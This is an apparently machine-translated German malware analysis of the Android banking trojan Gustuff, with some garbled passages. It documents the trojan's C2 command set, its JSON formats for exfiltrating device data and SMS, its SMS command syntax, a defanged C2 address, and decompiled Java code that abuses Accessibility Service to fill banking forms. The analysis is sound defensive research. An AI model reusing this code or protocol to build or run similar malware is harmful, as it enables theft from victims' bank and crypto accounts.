Wie der Android-Trojaner Gustuff die Sahne (Fiat und Krypto) von Ihren Konten abschöpft

Wie der Android-Trojaner Gustuff die Sahne (Fiat und Krypto) von Ihren Konten abschöpft

Erst neulich Gruppe-IB berichtet über die Aktivität des mobilen Android-Trojaners Gustuff. Es funktioniert ausschließlich auf internationalen Märkten und greift Kunden der 100 größten ausländischen Banken, Benutzer mobiler 32-Krypto-Wallets sowie große E-Commerce-Ressourcen an. Doch der Entwickler von Gustuff ist ein russischsprachiger Cyberkrimineller unter dem Spitznamen Bestoffer. Bis vor Kurzem lobte er seinen Trojaner als „ein seriöses Produkt für Leute mit Wissen und Erfahrung“.

Spezialist für Schadcode-Analyse bei Group-IB Ivan Pisarev In seiner Forschung spricht er ausführlich darüber, wie Gustuff funktioniert und welche Gefahren es birgt.

Nach wem sucht Gustuff?

Gustuff gehört zu einer neuen Generation von Malware mit vollautomatischen Funktionen. Nach Angaben des Entwicklers handelt es sich bei dem Trojaner um eine neue und verbesserte Version der AndyBot-Malware, die seit November 2017 Android-Telefone angreift und Geld über Phishing-Webformulare stiehlt, die sich als mobile Anwendungen bekannter internationaler Banken und Zahlungssysteme ausgeben. Bestoffer berichtete, dass der Mietpreis für den Gustuff Bot 800 US-Dollar pro Monat betrug.

Die Analyse der Gustuff-Probe ergab, dass der Trojaner möglicherweise Kunden angreift, die mobile Anwendungen der größten Banken wie Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank sowie Krypto-Wallets nutzen Bitcoin Wallet, BitPay, Cryptopay, Coinbase usw.

Ursprünglich als klassischer Banking-Trojaner konzipiert, hat Gustuff in der aktuellen Version die Liste potenzieller Angriffsziele deutlich erweitert. Neben Android-Anwendungen für Banken, Fintech-Unternehmen und Kryptodienste richtet sich Gustuff an Nutzer von Marktplatzanwendungen, Online-Shops, Zahlungssystemen und Instant Messengern. Insbesondere PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut und andere.

Einstiegspunkt: Berechnung für Masseninfektion

Gustuff zeichnet sich durch den „klassischen“ Vektor des Eindringens in Android-Smartphones durch SMS-Mailings mit Links zu APKs aus. Wenn ein Android-Gerät auf Befehl des Servers mit einem Trojaner infiziert wird, kann sich Gustuff über die Kontaktdatenbank des infizierten Telefons oder über die Serverdatenbank weiter verbreiten. Die Funktionalität von Gustuff ist auf Masseninfektion und maximale Kapitalisierung des Geschäfts seiner Betreiber ausgelegt – es verfügt über eine einzigartige „Auto-Fill“-Funktion in legitime Mobile-Banking-Anwendungen und Krypto-Wallets, die es Ihnen ermöglicht, den Gelddiebstahl zu beschleunigen und zu skalieren.

Eine Untersuchung des Trojaners ergab, dass die Autofill-Funktion darin mithilfe des Accessibility Service, einem Dienst für Menschen mit Behinderungen, implementiert wurde. Gustuff ist nicht der erste Trojaner, der den Schutz vor der Interaktion mit Fensterelementen anderer Anwendungen, die diesen Android-Dienst nutzen, erfolgreich umgeht. Allerdings ist die Nutzung des Accessibility Service in Kombination mit einer Autotankfüllung noch recht selten.

Nach dem Herunterladen auf das Telefon des Opfers kann Gustuff mithilfe des Accessibility Service mit Fensterelementen anderer Anwendungen (Banking, Kryptowährung sowie Anwendungen für Online-Shopping, Messaging usw.) interagieren und die für die Angreifer erforderlichen Aktionen ausführen . Beispielsweise kann ein Trojaner auf Befehl des Servers Tasten drücken und die Werte von Textfeldern in Bankanwendungen ändern. Mithilfe des Accessibility Service-Mechanismus kann der Trojaner die Sicherheitsmechanismen umgehen, die Banken zur Bekämpfung mobiler Trojaner früherer Generationen verwenden, sowie Änderungen der Sicherheitsrichtlinien, die Google in neuen Versionen des Android-Betriebssystems implementiert hat. Somit „weiß“ Gustuff, wie man den Google Protect-Schutz deaktiviert: Nach Angaben des Autors funktioniert diese Funktion in 70 % der Fälle.

Wie der Android-Trojaner Gustuff die Sahne (Fiat und Krypto) von Ihren Konten abschöpft

Gustuff kann auch gefälschte PUSH-Benachrichtigungen mit Symbolen legitimer mobiler Anwendungen anzeigen. Der Benutzer klickt auf die PUSH-Benachrichtigung und sieht ein vom Server heruntergeladenes Phishing-Fenster, in dem er die angeforderten Bankkarten- oder Krypto-Wallet-Daten eingibt. In einem anderen Gustuff-Szenario wird die Anwendung geöffnet, in deren Namen die PUSH-Benachrichtigung angezeigt wurde. In diesem Fall kann die Schadsoftware auf Befehl des Servers über den Accessibility Service die Formularfelder einer Bankanwendung für eine betrügerische Transaktion ausfüllen.

Zu den Funktionen von Gustuff gehören auch das Senden von Informationen über ein infiziertes Gerät an den Server, die Möglichkeit, SMS-Nachrichten zu lesen/senden, das Senden von USSD-Anfragen, das Starten von SOCKS5 Proxy, das Folgen eines Links und das Senden von Dateien (einschließlich Fotoscans von Dokumenten, Screenshots, Fotos) an den Server Server setzen Sie das Gerät auf die Werkseinstellungen zurück.

Malware-Analyse

Vor der Installation einer Schadanwendung zeigt das Android-Betriebssystem dem Benutzer ein Fenster mit einer Liste der von Gustuff angeforderten Rechte:

Wie der Android-Trojaner Gustuff die Sahne (Fiat und Krypto) von Ihren Konten abschöpft
Die Anwendung wird erst nach Zustimmung des Benutzers installiert. Nach dem Start der Anwendung zeigt der Trojaner dem Benutzer ein Fenster:

Wie der Android-Trojaner Gustuff die Sahne (Fiat und Krypto) von Ihren Konten abschöpft
Danach wird das Symbol entfernt.

Gustuff wird laut Autor von einem Packer von FTT verpackt. Nach dem Start kontaktiert die Anwendung regelmäßig den CnC-Server, um Befehle zu empfangen. Mehrere von uns untersuchte Dateien verwendeten eine IP-Adresse als Kontrollserver 88.99.171[.]105 (im Folgenden bezeichnen wir es als <%CnC%>).

Nach dem Start beginnt das Programm, Nachrichten an den Server zu senden http://<%CnC%>/api/v1/get.php.

Es wird erwartet, dass die Antwort JSON im folgenden Format ist:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Bei jedem Zugriff auf die Anwendung werden Informationen über das infizierte Gerät gesendet. Das Nachrichtenformat ist unten dargestellt. Es ist erwähnenswert, dass die Felder voller, extra, Apps и Erlaubnis – optional und wird nur im Falle eines Anforderungsbefehls von CnC gesendet.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Konfigurationsdaten speichern

Gustuff speichert betriebswichtige Informationen in einer Präferenzdatei. Der Dateiname sowie die Namen der darin enthaltenen Parameter ergeben sich aus der Berechnung der MD5-Summe aus der Zeichenfolge 15413090667214.6.1<%name%>Wo <%name%> — anfänglicher Namenswert. Python-Interpretation der Namensgenerierungsfunktion:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

Im Folgenden bezeichnen wir es als nameGenerator(Eingabe).
Der erste Dateiname lautet also: nameGenerator("API_SERVER_LIST"), es enthält Werte mit den folgenden Namen:

Variablennamen Wert
nameGenerator("API_SERVER_LIST") Enthält eine Liste von CnC-Adressen in Form eines Arrays.
nameGenerator("API_SERVER_URL") Enthält die CnC-Adresse.
nameGenerator("SMS_UPLOAD") Das Flag ist standardmäßig gesetzt. Wenn das Flag gesetzt ist, werden SMS-Nachrichten an CnC gesendet.
nameGenerator("SMS_ROOT_NUMBER") Telefonnummer, an die vom infizierten Gerät empfangene SMS-Nachrichten gesendet werden. Der Standardwert ist null.
nameGenerator("SMS_ROOT_NUMBER_RESEND") Das Flag ist standardmäßig deaktiviert. Wenn ein infiziertes Gerät installiert ist und eine SMS empfängt, wird diese an die Root-Nummer gesendet.
nameGenerator("DEFAULT_APP_SMS") Das Flag ist standardmäßig deaktiviert. Wenn dieses Flag gesetzt ist, verarbeitet die Anwendung eingehende SMS-Nachrichten.
nameGenerator("DEFAULT_ADMIN") Das Flag ist standardmäßig deaktiviert. Wenn das Flag gesetzt ist, verfügt die Anwendung über Administratorrechte.
nameGenerator("DEFAULT_ACCESSIBILITY") Das Flag ist standardmäßig deaktiviert. Wenn das Flag gesetzt ist, wird ein Dienst ausgeführt, der den Accessibility Service verwendet.
nameGenerator("APPS_CONFIG") Ein JSON-Objekt, das eine Liste von Aktionen enthält, die ausgeführt werden müssen, wenn ein mit einer bestimmten Anwendung verknüpftes Barrierefreiheitsereignis ausgelöst wird.
nameGenerator("APPS_INSTALLED") Speichert eine Liste der auf dem Gerät installierten Anwendungen.
nameGenerator("IS_FIST_RUN") Beim ersten Start wird das Flag zurückgesetzt.
nameGenerator("UNIQUE_ID") Enthält eine eindeutige Kennung. Wird generiert, wenn der Bot zum ersten Mal gestartet wird.

Modul zur Verarbeitung von Befehlen vom Server

Die Anwendung speichert die Adressen von CnC-Servern in Form eines von codierten Arrays Base85 Linien. Die Liste der CnC-Server kann nach Erhalt des entsprechenden Befehls geändert werden. In diesem Fall werden die Adressen in einer Einstellungsdatei gespeichert.

Als Antwort auf die Anfrage sendet der Server einen Befehl an die Anwendung. Es ist zu beachten, dass Befehle und Parameter im JSON-Format dargestellt werden. Die Anwendung kann folgende Befehle verarbeiten:

Team Beschreibung
vorwärtsStart Beginnen Sie mit dem Senden von SMS-Nachrichten, die das infizierte Gerät empfangen hat, an den CnC-Server.
vorwärtsStopp Hören Sie auf, vom infizierten Gerät empfangene SMS-Nachrichten an den CnC-Server zu senden.
ussdRun USSD-Anfrage ausführen. Die Nummer, an die Sie eine USSD-Anfrage stellen müssen, befindet sich im JSON-Feld „Nummer“.
SMS senden Senden Sie eine SMS-Nachricht (ggf. wird die Nachricht in Teile „aufgeteilt“). Als Parameter nimmt der Befehl ein JSON-Objekt entgegen, das die Felder „to“ – die Zielnummer und „body“ – den Text der Nachricht enthält.
sendSmsAb Senden Sie SMS-Nachrichten (bei Bedarf wird die Nachricht in Teile geteilt) an alle Personen in der Kontaktliste des infizierten Geräts. Das Intervall zwischen dem Senden von Nachrichten beträgt 10 Sekunden. Der Nachrichtentext befindet sich im JSON-Feld „body“.
sendSmsMass Senden Sie SMS-Nachrichten (ggf. wird die Nachricht in Teile „aufgeteilt“) an die in den Befehlsparametern angegebenen Kontakte. Das Intervall zwischen dem Senden von Nachrichten beträgt 10 Sekunden. Als Parameter verwendet der Befehl ein JSON-Array (das „sms“-Feld), dessen Elemente die Felder „to“ – die Zielnummer und „body“ – den Nachrichtentext, enthalten.
ChangeServer Dieser Befehl kann einen Wert mit dem Schlüssel „url“ als Parameter annehmen – dann ändert der Bot den Wert von nameGenerator („SERVER_URL“) oder „array“ – dann schreibt der Bot das Array in nameGenerator („API_SERVER_LIST“). Dadurch ändert die Anwendung die Adresse der CnC-Server.
AdminNumber Der Befehl ist für die Arbeit mit einer Root-Nummer konzipiert. Der Befehl akzeptiert ein JSON-Objekt mit den folgenden Parametern: „number“ – nameGenerator(„ROOT_NUMBER“) in den empfangenen Wert ändern, „resend“ – nameGenerator(“SMS_ROOT_NUMBER_RESEND“) ändern, „sendId“ – an nameGenerator(“ROOT_NUMBER“ senden) ) Eindeutige ID.
Updateinformation Senden Sie Informationen über das infizierte Gerät an den Server.
Daten löschen Der Befehl dient zum Löschen von Benutzerdaten. Abhängig davon, unter welchem ​​Namen die Anwendung gestartet wurde, werden entweder die Daten bei einem Neustart des Geräts vollständig gelöscht (primärer Benutzer) oder es werden nur Benutzerdaten gelöscht (sekundärer Benutzer).
SockenStart Starten Sie das Proxy-Modul. Die Bedienung des Moduls wird in einem separaten Abschnitt beschrieben.
SockenStop Stoppen Sie das Proxy-Modul.
Verbindung öffnen Folge dem Link. Der Link befindet sich im JSON-Parameter unter dem Schlüssel „url“. Zum Öffnen des Links wird „android.intent.action.VIEW“ verwendet.
uploadAllSms Senden Sie alle vom Gerät empfangenen SMS-Nachrichten an den Server.
Alle Fotos hochladen Senden Sie Bilder von einem infizierten Gerät an eine URL. Die URL kommt als Parameter.
Datei hochladen Senden Sie eine Datei von einem infizierten Gerät an eine URL. Die URL kommt als Parameter.
uploadPhoneNumbers Senden Sie Telefonnummern aus Ihrer Kontaktliste an den Server. Wird als Parameter ein JSON-Objektwert mit dem Schlüssel „ab“ empfangen, erhält die Anwendung eine Liste von Kontakten aus dem Telefonbuch. Wird als Parameter ein JSON-Objekt mit dem Schlüssel „sms“ empfangen, liest die Anwendung die Kontaktliste der Absender von SMS-Nachrichten aus.
changeArchive Die Anwendung lädt die Datei von der Adresse herunter, die als Parameter mit dem „URL“-Schlüssel angegeben wird. Die heruntergeladene Datei wird unter dem Namen „archive.zip“ gespeichert. Anschließend entpackt die Anwendung die Datei, optional mit dem Archivpasswort „b5jXh37gxgHBrZhQ4j3D“. Die entpackten Dateien werden im Verzeichnis [externer Speicher]/hgps gespeichert. In diesem Verzeichnis speichert die Anwendung Webfakes (unten beschrieben).
Aktionen Der Befehl ist für die Zusammenarbeit mit dem Action Service konzipiert, der in einem separaten Abschnitt beschrieben wird.
Test Nichts tun.
herunterladen Der Befehl dient dazu, eine Datei von einem Remote-Server herunterzuladen und im Verzeichnis „Downloads“ zu speichern. Die URL und der Dateiname kommen als Parameter, Felder im JSON-Parameterobjekt: „url“ und „fileName“.
entfernen Entfernt eine Datei aus dem Verzeichnis „Downloads“. Der Dateiname kommt in einem JSON-Parameter mit dem Schlüssel „fileName“. Der Standarddateiname ist „tmp.apk“.
Benachrichtigung Zeigt eine Benachrichtigung mit Beschreibungs- und Titeltexten an, die vom Verwaltungsserver definiert wurden.

Befehlsformat Benachrichtigung:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

Die von der untersuchten Datei generierte Benachrichtigung sieht identisch mit den Benachrichtigungen aus, die von der im Feld angegebenen Anwendung generiert wurden App. Wenn der Feldwert öffne App — Stimmt, wenn eine Benachrichtigung geöffnet wird, wird die im Feld angegebene Anwendung gestartet App. Wenn der Feldwert öffne App — Falsch also:

  • Es öffnet sich ein Phishing-Fenster, dessen Inhalt aus dem Verzeichnis heruntergeladen wird <%external storage%>/hgps/<%filename%>
  • Es öffnet sich ein Phishing-Fenster, dessen Inhalt vom Server heruntergeladen wird <%url%>?id=<%Bot id%>&app=<%Application name%>
  • Es öffnet sich ein als Google Play Card getarntes Phishing-Fenster mit der Möglichkeit, Kartendaten einzugeben.

Die Anwendung sendet das Ergebnis eines beliebigen Befehls an <%CnC%>set_state.php als JSON-Objekt im folgenden Format:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

ActionsService
Die Liste der Befehle, die die Anwendung verarbeitet Aktion. Wenn ein Befehl empfangen wird, greift das Befehlsverarbeitungsmodul auf diesen Dienst zu, um den erweiterten Befehl auszuführen. Der Dienst akzeptiert ein JSON-Objekt als Parameter. Der Dienst kann die folgenden Befehle ausführen:

1. PARAMS_ACTION — Beim Empfang eines solchen Befehls erhält der Dienst zunächst vom JSON-Parameter den Wert des Typschlüssels, der wie folgt lauten kann:

  • serviceInfo – Der Unterbefehl ruft den Wert per Schlüssel aus dem JSON-Parameter ab includeNotImportant. Wenn das Flag „True“ ist, setzt die Anwendung das Flag FLAG_ISOLATED_PROCESS zu einem Dienst, der den Accessibility Service nutzt. Auf diese Weise wird der Dienst in einem separaten Prozess gestartet.
  • Wurzel – Informationen über das Fenster, das gerade im Fokus ist, empfangen und an den Server senden. Die Anwendung erhält Informationen mithilfe der AccessibilityNodeInfo-Klasse.
  • Administrator — Administratorrechte anfordern.
  • verzögern – Unterbricht den ActionsService für die im Parameter für den „data“-Schlüssel angegebene Anzahl von Millisekunden.
  • Fenster — Senden Sie eine Liste der für den Benutzer sichtbaren Fenster.
  • installieren — Installieren Sie die Anwendung auf dem infizierten Gerät. Der Name des Archivpakets befindet sich im Schlüssel „fileName“. Das Archiv selbst befindet sich im Download-Verzeichnis.
  • globale – Der Unterbefehl soll vom aktuellen Fenster aus navigieren:
    • im Menü „Schnelleinstellungen“.
    • назад
    • heim
    • zu Benachrichtigungen
    • zum zuletzt geöffneten Anwendungsfenster

  • starten - Anwendung starten. Der Anwendungsname kommt als Parameter per Schlüssel technische Daten.
  • Geräusche — Ändern Sie den Tonmodus auf Stille.
  • öffnen – Schaltet die Hintergrundbeleuchtung des Bildschirms und der Tastatur auf volle Helligkeit ein. Die Anwendung führt diese Aktion mithilfe von WakeLock aus und gibt dabei die Zeichenfolge [Application lable]:INFO als Tag an
  • ErlaubnisOverlay — Die Funktion ist nicht implementiert (die Antwort auf die Befehlsausführung ist {"message": "Not support"} oder {"message": "low sdk"})
  • Geste — Die Funktion ist nicht implementiert (die Antwort auf die Befehlsausführung ist {"message": "Not support"} oder {"message": "Low API"})
  • Berechtigungen – Dieser Befehl ist erforderlich, um Berechtigungen für die Anwendung anzufordern. Da die Abfragefunktion jedoch nicht implementiert ist, ist der Befehl bedeutungslos. Die Liste der angeforderten Rechte wird als JSON-Array mit dem Schlüssel „permissions“ geliefert. Standardliste:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • XNUMXh geöffnet – Zeigt ein Phishing-Fenster an. Abhängig vom Parameter, der vom Server kommt, zeigt die Anwendung möglicherweise die folgenden Phishing-Fenster an:
    • Zeigt ein Phishing-Fenster an, dessen Inhalt in eine Datei in einem Verzeichnis geschrieben wird <%externes Verzeichnis%>/hgps/<%param_filename%>. Das Ergebnis der Benutzerinteraktion mit dem Fenster wird an gesendet <%CnC%>/records.php
    • Zeigt ein Phishing-Fenster an, dessen Inhalt von der Adresse vorgeladen wird <%url_param%>?id=<%bot_id%>&app=<%packagename%>. Das Ergebnis der Benutzerinteraktion mit dem Fenster wird an gesendet <%CnC%>/records.php
    • Ein als Google Play Card getarntes Phishing-Fenster anzeigen.

  • interaktive — Der Befehl ist für die Interaktion mit Fensterelementen anderer Anwendungen über AcessibilityService konzipiert. Für die Interaktion wurde im Programm ein besonderer Service implementiert. Die untersuchte Anwendung kann mit Windows interagieren:
    • Derzeit aktiv. In diesem Fall enthält der Parameter die ID oder den Text (Namen) des Objekts, mit dem Sie interagieren müssen.
    • Für den Benutzer zum Zeitpunkt der Befehlsausführung sichtbar. Die Anwendung wählt Fenster nach ID aus.

    Gegenstände erhalten haben AccessibilityNodeInfo Für Fensterelemente von Interesse kann die Anwendung abhängig von den Parametern die folgenden Aktionen ausführen:

    • Fokus – Fokus auf das Objekt setzen.
    • Klicken – Klicken Sie auf ein Objekt.
    • actionId – Führen Sie eine Aktion anhand der ID aus.
    • setText — den Text eines Objekts ändern. Das Ändern des Textes ist auf zwei Arten möglich: Durch Ausführen einer Aktion ACTION_SET_TEXT (wenn die Android-Version des infizierten Geräts jünger oder gleich ist LUTSCHER) oder durch Platzieren einer Zeichenfolge in der Zwischenablage und Einfügen in ein Objekt (für ältere Versionen). Mit diesem Befehl können Daten in einer Bankanwendung geändert werden.

2. PARAMS_ACTIONS - gleich wie PARAMS_ACTION, kommt nur ein JSON-Array von Befehlen an.

Es scheint, dass viele Leute daran interessiert sein werden, wie die Funktion der Interaktion mit Fensterelementen einer anderen Anwendung aussieht. So wird diese Funktionalität in Gustuff implementiert:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Textersetzungsfunktion:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Somit ist Gustuff bei richtiger Konfiguration des Steuerungsservers in der Lage, Textfelder in der Bankanwendung auszufüllen und auf die zum Abschluss der Transaktion erforderlichen Schaltflächen zu klicken. Der Trojaner muss sich nicht einmal bei der Anwendung anmelden – es genügt, einen Befehl zu senden, um eine PUSH-Benachrichtigung anzuzeigen und dann die zuvor installierte Bankanwendung zu öffnen. Der Benutzer authentifiziert sich, woraufhin Gustuff das Auto füllen kann.

Modul zur Verarbeitung von SMS-Nachrichten

Die Anwendung installiert einen Event-Handler für das infizierte Gerät, um SMS-Nachrichten zu akzeptieren. Die untersuchte Anwendung kann Befehle vom Betreiber empfangen, die im Textkörper der SMS-Nachricht enthalten sind. Befehle haben das folgende Format:

7!5=<%Base64-codierter Befehl%>

Die Anwendung sucht in allen eingehenden SMS-Nachrichten nach der Zeichenfolge 7!5=Wenn eine Zeichenfolge erkannt wird, dekodiert es die Zeichenfolge aus Base64 bei Offset 4 und führt den Befehl aus. Die Befehle ähneln denen von CnC. Das Ausführungsergebnis wird an dieselbe Nummer gesendet, von der der Befehl kam. Antwortformat:

7*5=<%Base64-Kodierung von „result_code command“%>

Optional kann die Anwendung alle empfangenen Nachrichten an die Root-Nummer senden. Dazu muss die Root-Nummer in der Einstellungsdatei angegeben und das Flag zur Nachrichtenumleitung gesetzt werden. An die Nummer des Angreifers wird eine SMS-Nachricht im folgenden Format gesendet:

<%From number%> – <%Time, format: dd/MM/yyyy HH:mm:ss%> <%SMS body%>

Optional kann die Anwendung auch Nachrichten an CnC senden. Die SMS-Nachricht wird im JSON-Format an den Server gesendet:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Wenn das Flag gesetzt ist nameGenerator("DEFAULT_APP_SMS") – Die Anwendung stoppt die Verarbeitung der SMS-Nachricht und löscht die Liste der eingehenden Nachrichten.

Proxy-Modul

Die untersuchte Anwendung enthält ein Backconnect-Proxy-Modul (im Folgenden als Proxy-Modul bezeichnet), das über eine separate Klasse verfügt, die statische Felder mit Konfiguration enthält. Konfigurationsdaten sind im Beispiel in übersichtlicher Form hinterlegt:

Wie der Android-Trojaner Gustuff die Sahne (Fiat und Krypto) von Ihren Konten abschöpft

Alle vom Proxy-Modul durchgeführten Aktionen werden in Dateien protokolliert. Dazu erstellt die Anwendung im externen Speicher ein Verzeichnis namens „logs“ (das Feld ProxyConfigClass.logsDir in der Konfigurationsklasse), in dem Protokolldateien gespeichert werden. Die Protokollierung erfolgt in Dateien mit Namen:

  1. main.txt – Die Arbeit der Klasse namens CommandServer wird in dieser Datei protokolliert. Im Folgenden wird die Protokollierung der Zeichenfolge str in dieser Datei als mainLog(str) bezeichnet.
  2. session-<%id%>.txt – Diese Datei speichert Protokolldaten, die einer bestimmten Proxy-Sitzung zugeordnet sind. Im Folgenden wird die Protokollierung der Zeichenfolge str in dieser Datei als sessionLog (str) bezeichnet.
  3. server.txt – Mit dieser Datei werden alle Daten protokolliert, die in die oben beschriebenen Dateien geschrieben werden.

Protokolldatenformat:

<%Date%> [Thread[<%thread id%>], id[]]: Protokollzeichenfolge

Ausnahmen, die während des Betriebs des Proxy-Moduls auftreten, werden ebenfalls in einer Datei protokolliert. Dazu generiert die Anwendung ein JSON-Objekt im folgenden Format:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Anschließend wird es in eine Zeichenfolgendarstellung umgewandelt und protokolliert.

Das Proxy-Modul wird nach Erhalt des entsprechenden Befehls gestartet. Wenn ein Befehl zum Starten des Proxy-Moduls empfangen wird, startet die Anwendung einen aufgerufenen Dienst Hauptservice, das für die Verwaltung des Betriebs des Proxy-Moduls verantwortlich ist – das Starten und Stoppen.

Phasen des Starts des Dienstes:

1. Startet einen Timer, der einmal pro Minute läuft und die Aktivität des Proxy-Moduls überprüft. Wenn das Modul nicht aktiv ist, startet es es.
Auch wenn das Ereignis ausgelöst wird android.net.conn.CONNECTIVITY_CHANGE Das Proxy-Modul wird gestartet.

2. Die Anwendung erstellt mit dem Parameter einen Wake-Lock PARTIAL_WAKE_LOCK und fängt ihn ein. Dadurch wird verhindert, dass die Geräte-CPU in den Ruhemodus wechselt.

3. Startet die Befehlsverarbeitungsklasse des Proxy-Moduls und protokolliert zunächst die Zeile mainLog("Server starten") и

Server::start() host[<%proxy_cnc%>], commandPort[<%command_port%>], ProxyPort[<%proxy_port%>]

wo Proxy_CNC, Command_Port und Proxy_Port – Parameter, die aus der Proxy-Server-Konfiguration stammen.

Die Befehlsverarbeitungsklasse wird aufgerufen CommandConnection. Führt unmittelbar nach dem Start die folgenden Aktionen aus:

4. Verbindet sich mit ProxyConfigClass.host: ProxyConfigClass.commandPort und sendet dort Daten über das infizierte Gerät im JSON-Format:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

Wo:

  • id – Bezeichner, versucht, einen Wert mit dem „id“-Feld aus der Shared Preference-Datei mit dem Namen „x“ abzurufen. Wenn dieser Wert nicht ermittelt werden konnte, wird ein neuer generiert. Somit verfügt das Proxy-Modul über eine eigene Kennung, die analog zur Bot-ID generiert wird.
  • imei – IMEI des Geräts. Wenn beim Abrufen des Werts ein Fehler aufgetreten ist, wird anstelle dieses Felds eine Fehlermeldung geschrieben.
  • imsi – Internationale Mobilfunkteilnehmeridentität des Geräts. Wenn beim Abrufen des Werts ein Fehler aufgetreten ist, wird anstelle dieses Felds eine Fehlermeldung geschrieben.
  • Modell – Der für den Endbenutzer sichtbare Name für das Endprodukt.
  • Hersteller – Der Hersteller des Produkts/der Hardware (Build.MANUFACTURER).
  • androidVersion – eine Zeichenfolge im Format „<%release_version%> (<%os_version%>),<%sdk_version%>“
  • Land – aktueller Standort des Geräts.
  • partnerId ist eine leere Zeichenfolge.
  • packageName – Paketname.
  • networkType – Typ der aktuellen Netzwerkverbindung (Beispiel: „WIFI“, „MOBILE“). Im Fehlerfall wird null zurückgegeben.
